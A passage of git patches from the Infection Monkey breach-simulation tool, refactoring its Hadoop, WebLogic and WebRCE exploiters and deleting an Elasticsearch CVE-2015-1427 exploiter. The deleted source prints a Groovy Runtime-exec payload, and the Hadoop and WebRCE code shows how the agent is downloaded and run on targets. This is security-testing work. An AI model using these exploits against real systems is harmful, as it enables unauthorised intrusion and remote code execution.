CHMOD_MONKEY, DOWNLOAD_TIMEOUT, DROPPER_ARG, - GET_ARCH_LINUX, - GET_ARCH_WINDOWS, ID_STRING, MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, @@ -109,7 +106,7 @@ class WebRCE(HostExploiter): self.target_url = self.get_target_url() # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()): + if not exploit_config["blind_exploit"]: return False # Upload the right monkey to target @@ -254,38 +251,6 @@ class WebRCE(HostExploiter): if not self.vulnerable_urls: logger.info("No vulnerable urls found, skipping.") - def get_host_arch(self, url): - """ - :param url: Url for exploiter to use - :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... - """ - if "linux" in self.host.os["type"]: - resp = self.exploit(url, GET_ARCH_LINUX) - if resp: - # Pulls architecture string - arch = re.search(r"(?<=Architecture:)\s+(\w+)", resp) - try: - arch = arch.group(1) - except AttributeError: - logger.error("Looked for linux architecture but could not find it") - return False - if arch: - return arch - else: - logger.info("Could not pull machine architecture string from command's output") - return False - else: - return False - else: - resp = self.exploit(url, GET_ARCH_WINDOWS) - if resp: - if "64-bit" in resp: - return WIN_ARCH_64 - else: - return WIN_ARCH_32 - else: - return False - # Wrapped functions: def get_ports_w(self, ports, names): """ @@ -302,15 +267,6 @@ class WebRCE(HostExploiter): else: return ports - def set_host_arch(self, url): - arch = self.get_host_arch(url) - if not arch: - logger.error("Couldn't get host machine's architecture") - return False - else: - self.host.os["machine"] = arch - return True - def run_backup_commands(self, resp, url, dest_path, http_path): """ If you need multiple commands for the same os you can override this method to add backup @@ -520,6 +476,7 @@ class WebRCE(HostExploiter): return self._config.dropper_target_path_linux if self.host.os["type"] == "windows": try: + # remove now or when 32-bit binaries are removed? if self.host.os["machine"] == WIN_ARCH_64: return self._config.dropper_target_path_win_64 except KeyError: diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index c1469829b..580a5d7d0 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -44,8 +44,7 @@ RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands -GET_ARCH_WINDOWS = "wmic os get osarchitecture" -GET_ARCH_LINUX = "lscpu" +GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses # All in one commands (upload, change permissions, run) HADOOP_WINDOWS_COMMAND = ( From ad5ce8e7d2df227e80a6776b368be61344033f8c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 13:18:54 +0530 Subject: [PATCH 0540/1110] Agent: Remove `blind_exploit` logic from web_rce.py and weblogic.py --- monkey/infection_monkey/exploit/web_rce.py | 8 -------- monkey/infection_monkey/exploit/weblogic.py | 2 -- 2 files changed, 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index e03004942..ef13fd345 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -77,10 +77,6 @@ class WebRCE(HostExploiter): # vulnerable. exploit_config["stop_checking_urls"] = False - # blind_exploit: If true we won't check if file exist and won't try to get the - # architecture of target. - exploit_config["blind_exploit"] = False - return exploit_config def _exploit_host(self): @@ -105,10 +101,6 @@ class WebRCE(HostExploiter): self.target_url = self.get_target_url() - # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config["blind_exploit"]: - return False - # Upload the right monkey to target data = self.upload_monkey(self.get_target_url(), exploit_config["upload_commands"]) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index d310833db..b2747a3f2 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -68,7 +68,6 @@ class WebLogic201710271(WebRCE): def get_exploit_config(self): exploit_config = super(WebLogic201710271, self).get_exploit_config() - exploit_config["blind_exploit"] = True exploit_config["stop_checking_urls"] = True exploit_config["url_extensions"] = WebLogic201710271.URLS return exploit_config @@ -267,7 +266,6 @@ class WebLogic20192725(WebRCE): def get_exploit_config(self): exploit_config = super(WebLogic20192725, self).get_exploit_config() exploit_config["url_extensions"] = WebLogic20192725.URLS - exploit_config["blind_exploit"] = True exploit_config["dropper"] = True return exploit_config From 79ccabceb1ff16c87a5d88163a76b0394eaed3e3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 15:18:07 +0530 Subject: [PATCH 0541/1110] Agent: Make some functions private in the Hadoop exploiter --- monkey/infection_monkey/exploit/hadoop.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 59cab9021..8568c3ab9 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE): if not paths: return False http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) - command = self.build_command(paths["dest_path"], http_path) + command = self._build_command(paths["dest_path"], http_path) if not self.exploit(self.vulnerable_urls[0], command): return False http_thread.join(self.DOWNLOAD_TIMEOUT) @@ -69,7 +69,7 @@ class HadoopExploiter(WebRCE): rand_name = ID_STRING + "".join( [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] ) - payload = self.build_payload(app_id, rand_name, command) + payload = self._build_payload(app_id, rand_name, command) resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) @@ -85,7 +85,7 @@ class HadoopExploiter(WebRCE): return False return resp.status_code == 200 - def build_command(self, path, http_path): + def _build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if "linux" in self.host.os["type"]: @@ -101,7 +101,7 @@ class HadoopExploiter(WebRCE): } @staticmethod - def build_payload(app_id, name, command): + def _build_payload(app_id, name, command): payload = { "application-id": app_id, "application-name": name, From 90646a6ff9768bb8b3a74fe0380f5e241643274e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 16:30:25 +0530 Subject: [PATCH 0542/1110] Agent: Remove code that set host architecture in Hadoop exploiter --- monkey/infection_monkey/exploit/hadoop.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 8568c3ab9..b27ff8cd0 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -42,9 +42,6 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False - # We presume hadoop works only on 64-bit machines - if self.host.os["type"] == "windows": - self.host.os["machine"] = "64" paths = self.get_monkey_paths() if not paths: return False From 57eca553a75a4b1954c32e46aeaadbe252cd6b99 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 16:33:00 +0530 Subject: [PATCH 0543/1110] Agent: Send ExploiterResultData from Hadoop exploiter --- monkey/infection_monkey/exploit/hadoop.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index b27ff8cd0..cb44af060 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -41,18 +41,20 @@ class HadoopExploiter(WebRCE): urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: - return False + return self.exploit_result paths = self.get_monkey_paths() if not paths: - return False + return self.exploit_result http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) command = self._build_command(paths["dest_path"], http_path) if not self.exploit(self.vulnerable_urls[0], command): - return False + return self.exploit_result http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() self.add_executed_cmd(command) - return True + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True + return self.exploit_result def exploit(self, url, command): # Get the newly created application id From 67083fe3367b30be089a286cc9779865bfd2f154 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 16:52:15 +0100 Subject: [PATCH 0544/1110] Agent: Use ITelemetryMessenger to send telemetries in WebRCE --- monkey/infection_monkey/exploit/web_rce.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index ef13fd345..f5ff4a246 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -275,7 +275,9 @@ class WebRCE(HostExploiter): "monkey_path": dest_path, "http_path": http_path, } - T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() + self.telemetry_messenger.send_telemtry( + T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING) + ) resp = self.exploit(url, backup_command) return resp @@ -333,10 +335,10 @@ class WebRCE(HostExploiter): command = CHMOD_MONKEY % {"monkey_path": path} try: resp = self.exploit(url, command) - T1222Telem(ScanStatus.USED, command, self.host).send() + self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host)) except Exception as e: logger.error("Something went wrong while trying to change permission: %s" % e) - T1222Telem(ScanStatus.SCANNED, "", self.host).send() + self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host)) return False # If exploiter returns True / False if isinstance(resp, bool): From 1223e2acf3779156973a514428635f539e410249 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 17:06:07 +0100 Subject: [PATCH 0545/1110] Agent: Use exploiter options in WebRCE --- monkey/infection_monkey/exploit/web_rce.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index f5ff4a246..2713f9009 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -43,9 +43,9 @@ class WebRCE(HostExploiter): self.monkey_target_paths = monkey_target_paths else: self.monkey_target_paths = { - "linux": self._config.dropper_target_path_linux, - "win32": self._config.dropper_target_path_win_32, - "win64": self._config.dropper_target_path_win_64, + "linux": self.options["dropper_target_path_linux"], + "win32": self.options["dropper_target_path_win_32"], + "win64": self.options["dropper_target_path_win_64"], } self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.vulnerable_urls = [] @@ -467,15 +467,15 @@ class WebRCE(HostExploiter): logger.error("Target's OS was either unidentified or not supported. Aborting") return False if self.host.os["type"] == "linux": - return self._config.dropper_target_path_linux + return self.options["dropper_target_path_linux"] if self.host.os["type"] == "windows": try: # remove now or when 32-bit binaries are removed? if self.host.os["machine"] == WIN_ARCH_64: - return self._config.dropper_target_path_win_64 + return self.options["dropper_target_path_win_64"] except KeyError: logger.debug("Target's machine type was not set. Using win-32 dropper path.") - return self._config.dropper_target_path_win_32 + return self.options["dropper_target_path_win_32"] def get_target_url(self): """ From 34953f1c88f735b66cba5cca25ba7a16d4dbbbb6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 17:13:25 +0100 Subject: [PATCH 0546/1110] Agent: Enable Hadoop exploiter to run --- monkey/infection_monkey/exploit/hadoop.py | 4 ++-- monkey/infection_monkey/exploit/web_rce.py | 5 ++--- monkey/infection_monkey/monkey.py | 2 ++ 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index cb44af060..04f037762 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -33,8 +33,8 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 - def __init__(self, host): - super(HadoopExploiter, self).__init__(host) + def __init__(self): + super(HadoopExploiter, self).__init__() def _exploit_host(self): # Try to get exploitable url diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 2713f9009..289eaed7e 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -32,13 +32,12 @@ POWERSHELL_NOT_FOUND = "powershell is not recognized" class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths=None): + def __init__(self, monkey_target_paths=None): """ - :param host: Host that we'll attack :param monkey_target_paths: Where to upload the monkey at the target host system. Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } """ - super(WebRCE, self).__init__(host) + super(WebRCE, self).__init__() if monkey_target_paths: self.monkey_target_paths = monkey_target_paths else: diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index fc52290bb..51eb7af6e 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,6 +17,7 @@ from infection_monkey.credential_collectors import ( SSHCredentialCollector, ) from infection_monkey.exploit import ExploiterWrapper +from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster @@ -222,6 +223,7 @@ class InfectionMonkey: exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER, ) + puppet.load_plugin("HadoopExploiter", HadoopExploiter(), PluginType.EXPLOITER) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) From b859b8820f5b666144831a08ff8c3f43ec79083c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 17:26:25 +0100 Subject: [PATCH 0547/1110] Island: Add HTTP_PORTS to exploiter common options --- monkey/monkey_island/cc/services/config.py | 2 ++ .../tests/unit_tests/monkey_island/cc/services/test_config.py | 1 + 2 files changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 19a2a4497..0fc3af855 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -611,6 +611,8 @@ class ConfigService: ]: exploit_options[dropper_target] = config.get(dropper_target, "") + exploit_options["http_ports"] = sorted(config["HTTP_PORTS"]) + formatted_exploiters_config = { "options": exploit_options, "brute_force": [], diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 58e762036..2ac3fbe6a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -175,6 +175,7 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): "dropper_target_path_linux": "/tmp/monkey", "dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe", "dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe", + "http_ports": [80, 443, 7001, 8008, 8080, 9200], }, "brute_force": [ {"name": "MSSQLExploiter", "options": {}}, From 87547c4da1e849e5d0040c79ee5d246da7e81416 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 17:28:06 +0100 Subject: [PATCH 0548/1110] Agent: Use http_ports from exploiter options in WebRCE --- monkey/infection_monkey/exploit/web_rce.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 289eaed7e..b1b01697c 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -46,7 +46,7 @@ class WebRCE(HostExploiter): "win32": self.options["dropper_target_path_win_32"], "win64": self.options["dropper_target_path_win_64"], } - self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + self.HTTP = [str(port) for port in self.options["http_ports"]] self.vulnerable_urls = [] self.target_url = None From eb9adc08c22ae5faaa1c9d735d3231bfed386efa Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 13:18:15 +0530 Subject: [PATCH 0549/1110] Agent: Override `HostExploiter`'s `pre_exploit()` in `WebRCE` --- monkey/infection_monkey/exploit/web_rce.py | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index b1b01697c..312ac3b57 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -38,15 +38,7 @@ class WebRCE(HostExploiter): Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } """ super(WebRCE, self).__init__() - if monkey_target_paths: - self.monkey_target_paths = monkey_target_paths - else: - self.monkey_target_paths = { - "linux": self.options["dropper_target_path_linux"], - "win32": self.options["dropper_target_path_win_32"], - "win64": self.options["dropper_target_path_win_64"], - } - self.HTTP = [str(port) for port in self.options["http_ports"]] + self.monkey_target_paths = monkey_target_paths self.vulnerable_urls = [] self.target_url = None @@ -121,6 +113,16 @@ class WebRCE(HostExploiter): return True + def pre_exploit(self): + if not self.monkey_target_paths: + self.monkey_target_paths = { + "linux": self.options["dropper_target_path_linux"], + "win32": self.options["dropper_target_path_win_32"], + "win64": self.options["dropper_target_path_win_64"], + } + self.HTTP = [str(port) for port in self.options["http_ports"]] + super().pre_exploit() + @abstractmethod def exploit(self, url, command): """ From 4d6869fbf661ec1b586112704262ab000290b1a5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 13:29:24 +0530 Subject: [PATCH 0550/1110] Agent: Use `ExploiterWrapper` for loading the Hadoop exploiter --- monkey/infection_monkey/monkey.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 51eb7af6e..17dc5bc54 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -223,7 +223,9 @@ class InfectionMonkey: exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER, ) - puppet.load_plugin("HadoopExploiter", HadoopExploiter(), PluginType.EXPLOITER) + puppet.load_plugin( + "HadoopExploiter", exploit_wrapper.wrap(HadoopExploiter), PluginType.EXPLOITER + ) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) From 31e6c09673c72a47338b094df00a3269b5b46953 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 14:42:36 +0530 Subject: [PATCH 0551/1110] Project: Replace ElasticSearch with Zerologon in README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 7342c49a7..6b427e036 100644 --- a/README.md +++ b/README.md @@ -47,7 +47,7 @@ The Infection Monkey uses the following techniques and exploits to propagate to * SMB * WMI * Log4Shell - * Elastic Search (CVE-2015-1427) + * Zerologon * Weblogic server * and more, see our [Documentation hub](https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/) for more information about our RCE exploiters. From b1fbf64730ddc60c7c6edd34064eb5ff27df3fbb Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 14:43:59 +0530 Subject: [PATCH 0552/1110] Docs: Remove ElasticSearch exploiter documentation --- docs/content/reference/exploiters/ElasticGroovy.md | 13 ------------- 1 file changed, 13 deletions(-) delete mode 100644 docs/content/reference/exploiters/ElasticGroovy.md diff --git a/docs/content/reference/exploiters/ElasticGroovy.md b/docs/content/reference/exploiters/ElasticGroovy.md deleted file mode 100644 index 86ae4247c..000000000 --- a/docs/content/reference/exploiters/ElasticGroovy.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: "ElasticGroovy" -date: 2020-07-14T08:41:40+03:00 -draft: false -tags: ["exploit", "windows", "linux"] ---- -### Description - -CVE-2015-1427 - -> The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x (before 1.4.3) allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script. - -The logic is based on the [Metasploit module](https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb). From b6438edb82ddd6eb714a1f9714419097c6ff2c45 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 14:55:42 +0530 Subject: [PATCH 0553/1110] Agent: Remove ElasticGroovyExploiter --- monkey/infection_monkey/example.conf | 1 - .../infection_monkey/exploit/elasticgroovy.py | 114 ------------------ 2 files changed, 115 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/elasticgroovy.py diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index efb9a4350..b1a25d51f 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -27,7 +27,6 @@ "SSHExploiter", "SmbExploiter", "WmiExploiter", - "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", "HadoopExploiter", diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py deleted file mode 100644 index 6c2751418..000000000 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ /dev/null @@ -1,114 +0,0 @@ -""" - Implementation is based on elastic search groovy exploit by metasploit - https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66 - /modules/exploits/multi/elasticsearch/search_groovy_script.rb - Max vulnerable elasticsearch version is "1.4.2" -""" - -import json -import logging -import re - -import requests - -from common.common_consts.network_consts import ES_SERVICE -from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.model import ( - BITSADMIN_CMDLINE_HTTP, - CHECK_COMMAND, - CMD_PREFIX, - DOWNLOAD_TIMEOUT, - ID_STRING, - WGET_HTTP_UPLOAD, -) -from infection_monkey.network_scanning.elasticfinger import ES_PORT -from infection_monkey.telemetry.attack.t1197_telem import T1197Telem - -logger = logging.getLogger(__name__) - - -class ElasticGroovyExploiter(WebRCE): - # attack URLs - MONKEY_RESULT_FIELD = "monkey_result" - GENERIC_QUERY = ( - """{"size":1, "script_fields":{"%s": {"script": "%%s"}}}""" % MONKEY_RESULT_FIELD - ) - JAVA_CMD = GENERIC_QUERY % ( - """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(""" - """\\"%s\\").getText()""" - ) - - _TARGET_OS_TYPE = ["linux", "windows"] - _EXPLOITED_SERVICE = "Elastic search" - - def __init__(self, host): - super(ElasticGroovyExploiter, self).__init__(host) - - def get_exploit_config(self): - exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config() - exploit_config["dropper"] = True - exploit_config["url_extensions"] = ["_search?pretty"] - exploit_config["upload_commands"] = { - "linux": WGET_HTTP_UPLOAD, - "windows": CMD_PREFIX + " " + BITSADMIN_CMDLINE_HTTP, - } - return exploit_config - - def get_open_service_ports(self, port_list, names): - # We must append elastic port we get from elastic fingerprint module because It's not - # marked as 'http' service - valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names) - if ES_SERVICE in self.host.services: - valid_ports.append([ES_PORT, False]) - return valid_ports - - def exploit(self, url, command): - command = re.sub(r"\\", r"\\\\\\\\", command) - payload = self.JAVA_CMD % command - try: - response = requests.get(url, data=payload, timeout=DOWNLOAD_TIMEOUT) - except requests.ReadTimeout: - logger.error( - "Elastic couldn't upload monkey, because server didn't respond to upload " - "request." - ) - return False - result = self.get_results(response) - if not result: - return False - return result[0] - - def upload_monkey(self, url, commands=None): - result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands) - if "windows" in self.host.os["type"] and result: - T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send() - return result - - def get_results(self, response): - """ - Extracts the result data from our attack - :return: List of data fields or None - """ - try: - json_resp = json.loads(response.text) - return json_resp["hits"]["hits"][0]["fields"][self.MONKEY_RESULT_FIELD] - except (KeyError, IndexError): - return None - - def check_if_exploitable(self, url): - # Overridden web_rce method that adds CMD prefix for windows command - try: - if "windows" in self.host.os["type"]: - resp = self.exploit(url, CMD_PREFIX + " " + CHECK_COMMAND) - else: - resp = self.exploit(url, CHECK_COMMAND) - if resp is True: - return True - elif resp is not False and ID_STRING in resp: - return True - else: - return False - except Exception as e: - logger.error("Host's exploitability check failed due to: %s" % e) - return False From 3ff7daa2d563053fbff9b51d90c7f2b21a72f86f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 15:03:57 +0530 Subject: [PATCH 0554/1110] UI: Remove ElasticGroovyExploiter reporting --- .../cc/services/config_schema/basic.py | 1 - .../definitions/exploiter_classes.py | 9 -------- .../cc/services/reporting/aws_exporter.py | 16 ------------- .../exploiter_descriptor_enum.py | 3 --- .../report-components/SecurityReport.js | 6 ----- .../security/issues/ElasticIssue.js | 23 ------------------- 6 files changed, 58 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index 0f841e968..a67205234 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -18,7 +18,6 @@ BASIC = { "WmiExploiter", "SSHExploiter", "Log4ShellExploiter", - "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", "HadoopExploiter", diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index e9a5ac5ea..a6e0fbd4d 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -53,15 +53,6 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/sshexec/", }, - { - "type": "string", - "enum": ["ElasticGroovyExploiter"], - "title": "ElasticGroovy Exploiter", - "safe": True, - "info": "CVE-2015-1427. Logic is based on Metasploit module.", - "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters" - "/elasticgroovy/", - }, { "type": "string", "enum": ["Struts2Exploiter"], diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 00d738b07..137b26224 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -69,7 +69,6 @@ class AWSExporter(Exporter): CredentialType.KEY.value: AWSExporter._handle_ssh_key_issue, }, "tunnel": AWSExporter._handle_tunnel_issue, - ExploiterDescriptorEnum.ELASTIC.value.class_name: AWSExporter._handle_elastic_issue, ExploiterDescriptorEnum.SMB.value.class_name: { CredentialType.PASSWORD.value: AWSExporter._handle_smb_password_issue, CredentialType.HASH.value: AWSExporter._handle_smb_pth_issue, @@ -245,21 +244,6 @@ class AWSExporter(Exporter): instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) - @staticmethod - def _handle_elastic_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=10, - title="Elastic Search servers are vulnerable to CVE-2015-1427", - description="Update your Elastic Search server to version 1.4.3 and up.", - recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. " - "The attack was made " - "possible because the Elastic Search server was not patched " - "against CVE-2015-1427.".format(issue["machine"], issue["ip_address"]), - instance_arn=instance_arn, - instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, - ) - @staticmethod def _handle_island_cross_segment_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 91855329e..2425b6435 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -28,9 +28,6 @@ class ExploiterDescriptorEnum(Enum): SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor) WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor) SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor) - ELASTIC = ExploiterDescriptor( - "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor - ) STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor) WEBLOGIC = ExploiterDescriptor( "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index a923d01f2..932879fea 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -27,7 +27,6 @@ import {mssqlIssueOverview, mssqlIssueReport} from './security/issues/MssqlIssue import {drupalIssueOverview, 